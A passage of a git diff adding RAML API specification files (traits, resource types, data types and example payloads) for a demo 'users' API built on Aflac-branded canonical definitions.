must match the name of the resource path which needs to be a noun in singular form. For example, if the resource path is /users/{user-id} then the data type must be called user. + + Every HTTP verb in this resource type has been defined as optional. Any combination of HTTP verbs can be chosen. Simply add the verb name under the resource path's type and provide the necessary examples. + +uses: + error-lib: ../libraries/library-error.raml + code-description-lib: ../libraries/library-code-description.raml + traits: ../libraries/library-traits.raml + + + +delete?: + displayName: Delete the specific <> record + description: Is used to delete the specific <> record. Can be synchronously or asynchronously called based on the applied traits. Accordingly, the response will show what has been deleted or what has been accepted to be deleted. + + is: + - traits.asynchronously-callable + - traits.traceable + - traits.routable + - traits.performance-monitorable + responses: + 200: + body: + application/json: + type: code-description-lib.code-descriptions + examples: <> + application/xml: + type: code-description-lib.code-descriptions + examples: <> + 202: + body: + application/json: + type: code-description-lib.code-descriptions + examples: <> + application/xml: + type: code-description-lib.code-descriptions + examples: <> + 500: + body: + application/json: + type: error-lib.error + application/xml: + type: error-lib.error + +get?: + displayName: Retrieves specific <> record + description: Is used to retrieve a specific <> record. The content can be filtered based on the implementation. + is: + - traits.filterable + - traits.traceable + - traits.routable + - traits.performance-monitorable + responses: + 200: + body: + application/json: + type: <> + examples: <> + application/xml: + type: <> + examples: <> + 500: + body: + application/json: + type: error-lib.error + application/xml: + type: error-lib.error + +patch?: + displayName: Partially updates specific <> record + description: Is used to partially update specific <> record. Input is the partial <> record that includes only the element values which is used to update the specific record. Can be synchronously or asynchronously called based on the applied traits. + is: + - traits.asynchronously-callable + - traits.traceable + - traits.routable + - traits.performance-monitorable + + body: + application/json: + type: <> + examples: <> + application/xml: + type: <> + examples: <> + responses: + 200: + description: The response when the patch operation is synchronously called. It returns the partially updated record(s) or a code that explains what has taken place. + body: + application/json: + type: <> | code-description-lib.code-descriptions + examples: <> + application/xml: + type: <> | code-description-lib.code-descriptions + examples: <> + 202: + description: The response when the patch operation is asynchronously called. It returns list of codes that includes acknowledgements and confirmations that the request has been accepted to be processed later. + body: + application/json: + type: code-description-lib.code-descriptions + examples: <> + application/xml: + type: code-description-lib.code-descriptions + examples: <> + 500: + body: + application/json: + type: error-lib.error + application/xml: + type: error-lib.error + +put?: + displayName: Fully updates specific <> record + description: Is used to fully update specific <> record. Input is the full <> record that includes all element values which are used to update the specific record. Can be synchronously or asynchronously called based on the applied traits. + is: + - traits.asynchronously-callable + - traits.traceable + - traits.routable + - traits.performance-monitorable + + body: + application/json: + type: <> + examples: <> + application/xml: + type: <> + examples: <> + responses: + 200: + description: The response when the put operation is synchronously called. It returns the partially updated record(s) or a code that explains what has taken place. + body: + application/json: + type: <> | code-description-lib.code-descriptions + examples: <> + application/xml: + type: <> | code-description-lib.code-descriptions + examples: <> + 202: + description: The response when the put operation is asynchronously called. It returns list of codes that includes acknowledgements and confirmations that the request has been accepted to be processed later. + body: + application/json: + type: code-description-lib.code-descriptions + examples: <> + application/xml: + type: code-description-lib.code-descriptions + examples: <> + 500: + body: + application/json: + type: error-lib.error + application/xml: + type: error-lib.error diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-get-health-check.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-get-health-check.raml new file mode 100644 index 0000000..24e4f08 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-get-health-check.raml @@ -0,0 +1,39 @@ +#%RAML 1.0 ResourceType + + +uses: + error-lib: ../libraries/library-error.raml + code-description-lib: ../libraries/library-code-description.raml + +get: + displayName: GET Health Check Resource + description: This resource is used by all APIs which has a /health-check resource path at its root and takes certain actions to validate its and its dependent components' health condition. + headers: + aflac-detailed-health-check-switch: + required: false + displayName: Detailed Health Check Flag + description: If the value is provided as On, the health of all dependencies will be checked. Otherwise, the dependencies will not be checked. + enum: + - On + - Off + default: Off + + responses: + 200: + description: On success the response will return an array of code descriptions with information regarding the health of the API and its subcomponents' health. + body: + + application/json: + type: code-description-lib.code-descriptions + examples: !include ../examples/example-get-health-check.raml + application/xml: + type: code-description-lib.code-descriptions + examples: !include ../examples/example-get-health-check.raml + 500: + body: + application/json: + type: error-lib.error + examples: !include ../examples/example-error.raml + application/xml: + type: error-lib.error + examples: !include ../examples/example-error.raml diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/security-schemes/securityScheme-basic.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/security-schemes/securityScheme-basic.raml new file mode 100644 index 0000000..8882bfb --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/security-schemes/securityScheme-basic.raml @@ -0,0 +1,4 @@ +#%RAML 1.0 SecurityScheme +type: + Basic Authentication +description: This security scheme should be used in case of client Id and client secret secured API \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-asynchronously-callable.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-asynchronously-callable.raml new file mode 100644 index 0000000..f86121c --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-asynchronously-callable.raml @@ -0,0 +1,12 @@ +#%RAML 1.0 Trait +description: Asynchronously callable trait allows a request to be submitted and a response returned without completing the processing of that request + +headers: + aflac-asynchronous-processing: + displayName: Aflac Processing Style + description: | + Set this header value to true to indicate to the provider that request processing should be executed asynchronously if available. + type: boolean + required: false + default: true + example: true \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-filterable.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-filterable.raml new file mode 100644 index 0000000..8b2e6fa --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-filterable.raml @@ -0,0 +1,19 @@ +#%RAML 1.0 Trait + +queryParameters: + filter: + description: the comma delimited names of the fields that need to be included or excluded in a returned record. A single value of a container may also be passed in which case the filter type must be set to "Canned". The names of fields and canned filters need to be documented separately by the API owner. + type: string + required: false + examples: + fieldNamesExample: person.name.first, person.name.last, person.dob + cannedExample: personBioMetricFields + + filter-type: + description: the flag that indicates whether the names in the filter value are to be included or excluded. "In" means included and "Out" means excluded. "Canned" means that the filter values are not comma delimited and the single value of the filter represents a container where the field anmes are stored. If not provided, "In" is default. + enum: + - In + - Out + - Canned + type: string + required: false \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-identifyable.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-identifyable.raml new file mode 100644 index 0000000..5623283 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-identifyable.raml @@ -0,0 +1,50 @@ +#%RAML 1.0 Trait + +#uses: +# name-value-lib: ../libraries/library-name-value-pair.raml + +displayName: Identifyable +description: Identifyable trait provides a header called aflac-identity-fields which can pass several different types of identity tokens and identity related information to a service. + +headers: + aflac-identity-fields: + displayName: Aflac Identity Fields + description: | + Is a JSON object which contain an array of typed name value pairs. Any kind of identity information can be passed using the array. + required: false + type: string + examples: + oAuth-example: '[{"type": "oAuth2-access-token", "value": "Bfrdget3456iuyge+Og=="}]' + username-password-example: | + '[ + {"type": "encrypted-username", "value": "Sgrfqwt$34s5465asgfv56"}, + {"type": "encrypted-password", "value": "87623uhvbuberc754^%$yvygwed"}, + {"type": "encryption-certificate-serial-number-in-dec", "value": "351686516876516213213546987984965163216"} + ]' + +# The below section is commented out due to a limitation in Design Center. +# When Headers are assigned a type of object the validation misinterprets and fails. +# Until this is resolved, further headers will be of simple type, even the values can be object representations +# type: typed-name-value-pairs +# examples: +# oAuth-example: +# value: +# - type: oAuth2-access-token +# value: Bfrdget3456iuyge+Og== +# username-password-example: +# value: +# - type: encrypted-username +# value: Sgrfqwt$34s5465asgfv56 +# - type: encrypted-password +# value: 87623uhvbuberc754^%$yvygwed +# - type: encryption-certificate-serial-number-in-dec +# value: "351686516876516213213546987984965163216" +# multiple-field-example: +# value: +# - type: oAuth2-access-token +# value: Bfrdget3456iuyge+Og== +# - type: passive-saml-token +# value: 87623uhvbuberc754yvygwedjhgaskdjgfiuwe8976539gkhegf +# - type: encryption-certificate-serial-number-in-dec +# value: "351686516876516213213546987984965163216" + diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-pageable.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-pageable.raml new file mode 100644 index 0000000..80afe9d --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-pageable.raml @@ -0,0 +1,40 @@ +#%RAML 1.0 Trait +description: | + If an API has the pageable trait, the consumer can control the pagination properties in query parameters. + If the consumer does not provide pagination query parameters, default values will be used by the provider. + Provider will always populate response header values to inform the consumer. + +queryParameters: + page-number: + displayName: Page Number + description: Number of the page that is requested + type: integer + required: false + example: 20 + default: 1 + page-size: + displayName: Page Size + description: Number of the items in one page + type: integer + required: false + example: 80 + default: 10 + +responses: + 200: + headers: + aflac-page-number: + description: Number of the page that is returned + type: integer + required: true + example: 20 + aflac-page-size: + description: Number of the items in one page + type: integer + required: true + example: 80 + aflac-total-paged-item-count: + description: Total number of all items that are found by the selection criteria + type: integer + required: true + example: 8000 \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-performance-monitorable.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-performance-monitorable.raml new file mode 100644 index 0000000..71fc362 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-performance-monitorable.raml @@ -0,0 +1,31 @@ +#%RAML 1.0 Trait + + +headers: + aflac-performance-report: + description: | + Performance monitorable trait is designed to provide real-time information to a consumer about the performance and status of each node in an integration implementation. + This collection of these metrics can be activated by the consumer by setting the "active" to true. + Currently, this field is defined as a string but the contents are a JSON object as shown in the example. + The complete information what this JSON Obejct looks like and how it can be used is documented in dataType-performance-report.raml fragment. + + displayName: Aflac Performance Report + required: false + type: string + example: | + '{ + "active": true, + "ns": + [ + {"n": "ConsumerMachine","c": "Provider A","t": 1230000000000,"d": "dQ"}, + {"n": "Server1","c": "Provider A","t": 1230000000150,"d": "uQ"}, + {"n": "ConsumerMachine","c": "Provider A","t": 123000005400,"d": "uS","s":"200"}, + {"n": "ConsumerMachine","c": "Provider A","t": 1230000000000,"d": "dQ","s":"200"} + ] + }' + +# The below section is commented out due to a limitation in Design Center. +# When Headers are assigned a type of object the validation misinterprets and fails. +# Until this is resolved, further headers will be of simple type, even the values can be object representations +# type: !include ../data-types/dataType-performance-report.raml +# example: !include ../examples/example-performance-report.raml \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-routable.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-routable.raml new file mode 100644 index 0000000..d56bd71 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-routable.raml @@ -0,0 +1,22 @@ +#%RAML 1.0 Trait +description: When a consumer application makes a request to an API, it may provide its consumer ID and the reason why it is making the request, as the value of the business event header. These values are used to determine how the consumer's request is processed by the application network. + +headers: + aflac-consumer-id: + displayName: Aflac Consumer ID + type: string + required: false + description: A unique, descriptive name that represents the consumer application. The name must be created, approved and assigned at design time. + examples: + example1: wynsure-financial-service-app + example2: wynsure-financial-service-consumerfacing-api-impl1 + + aflac-business-event: + displayName: Aflac Business Event + description: A name that represents the business event which indicates why the request is being made. + type: string + required: false + examples: + example1: policyholder-information-requested + example2: account-setup-completed + example3: claim-submitted \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-selectable.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-selectable.raml new file mode 100644 index 0000000..9f611dd --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-selectable.raml @@ -0,0 +1,140 @@ +#%RAML 1.0 Trait + +queryParameters: + selection-criteria: + displayName: Selection Criteria + required: false + type: string + description: | + The selection criteria to select records. + This is a shorthand notation with ( ) format, where is the type of . There are 4 recognized types + N for Number + S for String + D for Date and Time + B for Boolean + + ( ) that is wrapped with an open-close parenthesis pair is called a condition. + + One pair of parenthesis can contain one and only one condition. + + For each of the recognized types there is a list of operators + 1) Numbers: numbers of any type including integers, longs, floats and doubles. Exponential expressions are not allowed + The allowed operators are + eq -> means equal ... i.e. N(age eq 41) + ne -> means not equal ... i.e. N(length ne 5) + lt -> means less than ... i.e. N(height lt 3) + le -> means less than equal + gt -> means greater than + ge -> means greater than equal + + 2) Dates and Times: + Must be represented in ISO 8601 extended format and must always be in GMT + Dates as YYYY-MM-DD + Times as hh:mm:ss.sss + DateTimes as YYYY-MM-DDThh:mm:ss.sssZ + The allowed operators are + eq -> means on that date and/or time + be -> means before that date and/or time, excluding the provided field value + bi -> means before that date and/or time, including the provided field value + af -> means after that and/or time, excluding the provided field value + ai -> means after that and/or time, including the provided field value + + examples: + D(date-of-birth bi 2000-01-01) + D(member-since af 1999-12-31) + + + 3) Strings: + The allowed operators are + eq -> means exactly that string + ne -> means not equal to that string + sw -> means startsWith + ew -> means endsWith + co -> means contains + + example: + S(name sw Jo) + + 4) Booleans: special value of true or false without single quotes + The allowed operator is + eq -> means exactly that boolean value + ne -> means exactly the opposite of that boolean value + + example: + B(is-active eq true) + + With these types and type operators, conditions can be combined with logical operators of AND and OR. + + Below is a use case for a complex selection criteria. + We want all the person records that match the following criteria + Person's first name starts with Joh, Tim OR Jam, AND the person is male, AND the person is older than 50 + OR + Person's last name ends with tte, son OR fan, AND the person is female, AND the person's age is 40 or younger + AND + Person's is a a currently active member AND member since June 1st, 1999 + AND + Person's residence is in one of the following ZIP codes, 90210, 30011, 08765 + + for readability purposes we will format the criteria using indentation and line breaks. + ( + ( + ( + S(person.name.first sw Joh) OR + S(person.name.first sw Tim) OR + S(person.name.first sw Jam) + ) AND + B (person.gender.male eq true) AND + N(person.age gt 50) + ) OR + ( + ( + S(person.name.last ew tte) OR + S(person.name.last ew son) OR + S(person.name.last ew fan) + ) AND + B(person.gender.male eq false) AND + N(person.age le 40) + ) AND + ( + B(person.is-active eq true) AND + D(person.member-since bi 1999-06-01) + ) AND + ( + S(person.address.zip.ext5 eq 90210) OR + S(person.address.zip.ext5 eq 30011) OR + S(person.address.zip.ext5 eq 08765) + ) + ) + + Q) What to use in terms of fieldNames? + A) The answer to this question is in the payload definition. Let's assume for the above example the person record is defined as the following structure. + + person + name + first + middle + last + suffix + age + date-of-birth + is-active + gender + male + member-since + address + line1 + line2 + city + state + zip + ext5 + ext4 + + Now look at the above example and see how we have used the a dotted notation to reach to the property we need when building our selection criteria. + Therefore, when reusing the selection criteria you should always keep the payload structure of the API in mind. + examples: + simple-example1: (D(startDate eq 2017-12-31)) + simple-example2: (D(creation-timestamp be 2017-12-31T11:59:59.999Z)) + ANDing-example: (S(name eq John) AND N(age eq 40)) + ORing-example: (S(name eq John) OR S(name eq Jane)) + complex-example: ((S(name eq John) AND N(age ge 40)) OR (S(name eq Jane) AND N(age le 40)) OR (N(weight eq 150.0) AND B(active eq true))) \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-sortable.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-sortable.raml new file mode 100644 index 0000000..8e9f3e5 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-sortable.raml @@ -0,0 +1,20 @@ +#%RAML 1.0 Trait +description: | + Sorting can be requested by the consumer application by providing sortBy field name and sortOrder indicator. + If the consumer application does not provide any sorting input and if the provider API sorts the results, the API may provide information back to the consumer on how sorting has been done. + In this case, the API would return sorting information + +queryParameters: + sort-by: + displayName: Sort By + description: The name of the field by which the sorting will be executed on. + type: string + required: false + sort-order: + displayName: Sort Order + description: Indicates the direction of the sorting, asccending or descending. If no value is provided, the default value of ASC will be used. + type: string + required: false + enum: + - ASC + - DESC \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-traceable.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-traceable.raml new file mode 100644 index 0000000..8800398 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-traceable.raml @@ -0,0 +1,24 @@ +#%RAML 1.0 Trait +description: Traceable trait allows an operation to have the aflac-transaction-id header value which is GUID that uniquely represents a specific request + +headers: + aflac-transaction-id: + displayName: Aflac Transaction ID + type: string + required: false + description: | + GUID to track service requests. + If not provided by a consumer in the request, one will be created and assigned by the provider and returned to the consumer in the response + examples: + upperCase: B744DF0B-0B71-4A0C-9F5A-8D45F204987D + lowerCase: d1af335b-ce04-40e9-9557-f6ed399b1a87 +responses: + 200: + headers: + aflac-transaction-id: + displayName: Aflac Transaction ID + type: string + required: true + description: | + GUID to track service requests. + This is either the GUID passed by the consumer in the request or the GUID created by provider because the consumer did not pass one. \ No newline at end of file diff --git a/demo/apis/SE-11155/SE-11155.raml b/demo/apis/SE-11155/SE-11155.raml new file mode 100644 index 0000000..cf8a92d --- /dev/null +++ b/demo/apis/SE-11155/SE-11155.raml @@ -0,0 +1,43 @@ +#%RAML 1.0 +baseUri: https://anypoint.mulesoft.com/mocking/api/v1/links/db807048-967b-4533-bdc6-9ab0cb457492/ # + +title: Usage-Example-API + +uses: + lib: libraries/library.raml + +types: + user: + type: !include data-types/dataType-user.raml + users: + type: user[] + archive-users-request: + type: !include data-types/dataType-archive-users-request.raml + archive-users-response: + type: !include data-types/dataType-archive-users-response.raml + restore-user-request: + type: object + restore-user-response: + type: object + + +/users: + type: + lib.applicable-to-collections: + coll-delete-200-cds-examples: !include /examples/users-delete-cds-200.raml + coll-delete-202-cds-examples: !include /examples/users-delete-cds-202.raml + coll-get-200-coll-examples: !include /examples/users-get-200.raml + coll-patch-req-item-examples: !include /examples/users-patch.raml + coll-patch-200-coll-and-cds-examples: !include /examples/users-patch-200.raml + coll-patch-202-cds-examples: !include /examples/users-patch-cds-202.raml + coll-post-req-item-and-coll-examples: + single-object-request-example: !include /examples/users-post-single.raml + multiple-objects-request-example: !include /examples/users-post-multi.raml + coll-post-200-item-and-coll-and-cds-examples: + single-input-200-response-example: !include /examples/users-post-single-200.raml + multiple-input-200-response-example: !include /examples/users-post-multi-200.raml + any-input-200-cds-response-example: !include /examples/users-post-cds-200.raml + coll-post-202-cds-examples: !include /examples/users-post-cds-202.raml + + post: + securedBy: lib.basic diff --git a/demo/apis/SE-11155/data-types/dataType-archive-users-request.raml b/demo/apis/SE-11155/data-types/dataType-archive-users-request.raml new file mode 100644 index 0000000..9edd129 --- /dev/null +++ b/demo/apis/SE-11155/data-types/dataType-archive-users-request.raml @@ -0,0 +1,19 @@ +#%RAML 1.0 DataType + +displayName: Archive Users Request +description: The request structure fo archiving a collection of users + +properties: + archive-location: + type: string + required: false + archive-time: + type: datetime + required: false + zip-records: + type: boolean + required: false +example: + archive-location: \\DCS001AB\user-archive-folder + archive-time: 2018-08-10T13:00:00.000Z + zip-records: true \ No newline at end of file diff --git a/demo/apis/SE-11155/data-types/dataType-archive-users-response.raml b/demo/apis/SE-11155/data-types/dataType-archive-users-response.raml new file mode 100644 index 0000000..b878e7d --- /dev/null +++ b/demo/apis/SE-11155/data-types/dataType-archive-users-response.raml @@ -0,0 +1,20 @@ +#%RAML 1.0 DataType + + +displayName: Archive Users Response +description: The response structure fo archiving a collection of users + +properties: + archived-location: + type: string + required: false + archive-completed-time: + type: datetime + required: false + number-of-records-archived: + type: number + required: false +example: + archived-location: \\DCS001AB\user-archive-folder + archive-completed-time: 2018-08-10T13:11:46.449Z + number-of-records-archived: 17225 \ No newline at end of file diff --git a/demo/apis/SE-11155/data-types/dataType-restore-user-request.raml b/demo/apis/SE-11155/data-types/dataType-restore-user-request.raml new file mode 100644 index 0000000..c055464 --- /dev/null +++ b/demo/apis/SE-11155/data-types/dataType-restore-user-request.raml @@ -0,0 +1 @@ +#%RAML 1.0 DataType \ No newline at end of file diff --git a/demo/apis/SE-11155/data-types/dataType-restore-user-response.raml b/demo/apis/SE-11155/data-types/dataType-restore-user-response.raml new file mode 100644 index 0000000..c055464 --- /dev/null +++ b/demo/apis/SE-11155/data-types/dataType-restore-user-response.raml @@ -0,0 +1 @@ +#%RAML 1.0 DataType \ No newline at end of file diff --git a/demo/apis/SE-11155/data-types/dataType-user.raml b/demo/apis/SE-11155/data-types/dataType-user.raml new file mode 100644 index 0000000..81a1d4d --- /dev/null +++ b/demo/apis/SE-11155/data-types/dataType-user.raml @@ -0,0 +1,53 @@ +#%RAML 1.0 DataType + +type: object +properties: + user-id: + displayName: User ID + type: string + required: false + description: System assigned id that represents a user. It is created when the new user record is created + example: ABC123 + user-name: + displayName: User Name + description: User's full name + type: string + required: false + example: John F Remedy + user-date-of-birth: + displayName: Date of Birth + description: User's date of birth + type: date-only + required: false + example: 2000-01-01 + user-address: + displayName: Mailing Address + description: User's mailing address + type: !include ../1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-address.raml + required: false + example: + context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 +example: + user-id: ABCD1234 + user-name: George Castanza + user-date-of-birth: 2000-01-01 + user-address: + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/user-action-restore-user-200.raml b/demo/apis/SE-11155/examples/user-action-restore-user-200.raml new file mode 100644 index 0000000..af2c15e --- /dev/null +++ b/demo/apis/SE-11155/examples/user-action-restore-user-200.raml @@ -0,0 +1,3 @@ +#%RAML 1.0 NamedExample +restore-user-action-200-response-example: + name: Dogan \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/user-action-restore-user-cds-202.raml b/demo/apis/SE-11155/examples/user-action-restore-user-cds-202.raml new file mode 100644 index 0000000..b5fe8b2 --- /dev/null +++ b/demo/apis/SE-11155/examples/user-action-restore-user-cds-202.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 NamedExample +restore-user-202-response-example: + - context: response + code: HTTP 202 + short-description: 1 user record have been accepted to be restored later + - context: confirmation + code: "123456789" \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/user-action-restore-user.raml b/demo/apis/SE-11155/examples/user-action-restore-user.raml new file mode 100644 index 0000000..af5d8bc --- /dev/null +++ b/demo/apis/SE-11155/examples/user-action-restore-user.raml @@ -0,0 +1,3 @@ +#%RAML 1.0 NamedExample +restore-user-action-request-example: + name: Dogan \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/user-delete-cds-200.raml b/demo/apis/SE-11155/examples/user-delete-cds-200.raml new file mode 100644 index 0000000..d6c7ce9 --- /dev/null +++ b/demo/apis/SE-11155/examples/user-delete-cds-200.raml @@ -0,0 +1,4 @@ +#%RAML 1.0 NamedExample +user-delete-200-response-example: + - code: HTTP 200 + short-description: 2 user records have been deleted \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/user-delete-cds-202.raml b/demo/apis/SE-11155/examples/user-delete-cds-202.raml new file mode 100644 index 0000000..a60d066 --- /dev/null +++ b/demo/apis/SE-11155/examples/user-delete-cds-202.raml @@ -0,0 +1,11 @@ +#%RAML 1.0 NamedExample +user-delete-202-response-example: + - context: response + code: HTTP 202 + short-description: 2 user records have been accepted to be deleted later + - context: confirmation + code: "123456789" + short-description: confirmation of record 1 + - context: confirmation + code: 1234aaaa + short-description: confirmation of record 2 \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/user-get-200.raml b/demo/apis/SE-11155/examples/user-get-200.raml new file mode 100644 index 0000000..64c4491 --- /dev/null +++ b/demo/apis/SE-11155/examples/user-get-200.raml @@ -0,0 +1,17 @@ +#%RAML 1.0 NamedExample +user-get-200-response-example: + user-id: ABCD1234 + user-name: George Castanza + user-date-of-birth: 2000-01-01 + user-address: + context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/user-patch-200.raml b/demo/apis/SE-11155/examples/user-patch-200.raml new file mode 100644 index 0000000..1dbe3ba --- /dev/null +++ b/demo/apis/SE-11155/examples/user-patch-200.raml @@ -0,0 +1,14 @@ +#%RAML 1.0 NamedExample +user-patch-200-response-example: + - user-id: ABCD1234 + user-name: George Castanza + user-date-of-birth: 2000-01-01 + user-address: + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/user-patch-cds-200.raml b/demo/apis/SE-11155/examples/user-patch-cds-200.raml new file mode 100644 index 0000000..8cae2ff --- /dev/null +++ b/demo/apis/SE-11155/examples/user-patch-cds-200.raml @@ -0,0 +1,4 @@ +#%RAML 1.0 NamedExample +user-patch-200-cds-response-example: + - code: HTTP 200 + short-description: 2 user records have been updated \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/user-patch-cds-202.raml b/demo/apis/SE-11155/examples/user-patch-cds-202.raml new file mode 100644 index 0000000..d6fe5bd --- /dev/null +++ b/demo/apis/SE-11155/examples/user-patch-cds-202.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 NamedExample +user-patch-202-cds-response-example: + - context: response + code: HTTP 202 + short-description: 1 user record have been accepted to be updated later + - context: confirmation + code: "123456789" \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/user-patch.raml b/demo/apis/SE-11155/examples/user-patch.raml new file mode 100644 index 0000000..e11883d --- /dev/null +++ b/demo/apis/SE-11155/examples/user-patch.raml @@ -0,0 +1,14 @@ +#%RAML 1.0 NamedExample +user-patch-request-example: + user-address: + context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 diff --git a/demo/apis/SE-11155/examples/user-put-200.raml b/demo/apis/SE-11155/examples/user-put-200.raml new file mode 100644 index 0000000..4f87a6e --- /dev/null +++ b/demo/apis/SE-11155/examples/user-put-200.raml @@ -0,0 +1,17 @@ +#%RAML 1.0 NamedExample +user-put-200-response-example: + - user-id: ABCD1234 + user-name: George Castanza + user-date-of-birth: 2000-01-01 + user-address: + context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/user-put-cds-200.raml b/demo/apis/SE-11155/examples/user-put-cds-200.raml new file mode 100644 index 0000000..dede024 --- /dev/null +++ b/demo/apis/SE-11155/examples/user-put-cds-200.raml @@ -0,0 +1,4 @@ +#%RAML 1.0 NamedExample +user-put-200-cds-response-example: + - code: HTTP 200 + short-description: 2 user records have been updated \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/user-put-cds-202.raml b/demo/apis/SE-11155/examples/user-put-cds-202.raml new file mode 100644 index 0000000..2abb303 --- /dev/null +++ b/demo/apis/SE-11155/examples/user-put-cds-202.raml @@ -0,0 +1,11 @@ +#%RAML 1.0 NamedExample +user-put-202-cds-response-example: + - context: response + code: HTTP 202 + short-description: 2 user records have been accepted to be updated later + - context: confirmation + code: "123456789" + short-description: confirmation of record 1 + - context: confirmation + code: 1234aaaa + short-description: confirmation of record 2 \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/user-put.raml b/demo/apis/SE-11155/examples/user-put.raml new file mode 100644 index 0000000..72ee7f3 --- /dev/null +++ b/demo/apis/SE-11155/examples/user-put.raml @@ -0,0 +1,17 @@ +#%RAML 1.0 NamedExample +user-put-request-example: + user-id: ABCD1234 + user-name: George Castanza + user-date-of-birth: 2000-01-01 + user-address: + context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/users-action-archive-users-200.raml b/demo/apis/SE-11155/examples/users-action-archive-users-200.raml new file mode 100644 index 0000000..2b4ef85 --- /dev/null +++ b/demo/apis/SE-11155/examples/users-action-archive-users-200.raml @@ -0,0 +1,5 @@ +#%RAML 1.0 NamedExample +users-archive-action-200-response-example: + archived-location: \\DCS001AB\user-archive-folder + archive-completed-time: 2018-08-10T13:11:46.449Z + number-of-records-archived: 17225 \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/users-action-archive-users-cds-200.raml b/demo/apis/SE-11155/examples/users-action-archive-users-cds-200.raml new file mode 100644 index 0000000..406f4c7 --- /dev/null +++ b/demo/apis/SE-11155/examples/users-action-archive-users-cds-200.raml @@ -0,0 +1,5 @@ +#%RAML 1.0 NamedExample +users-archive-action-202-cds-response-example: + - context: response + code: HTTP 200 + short-description: 2 user 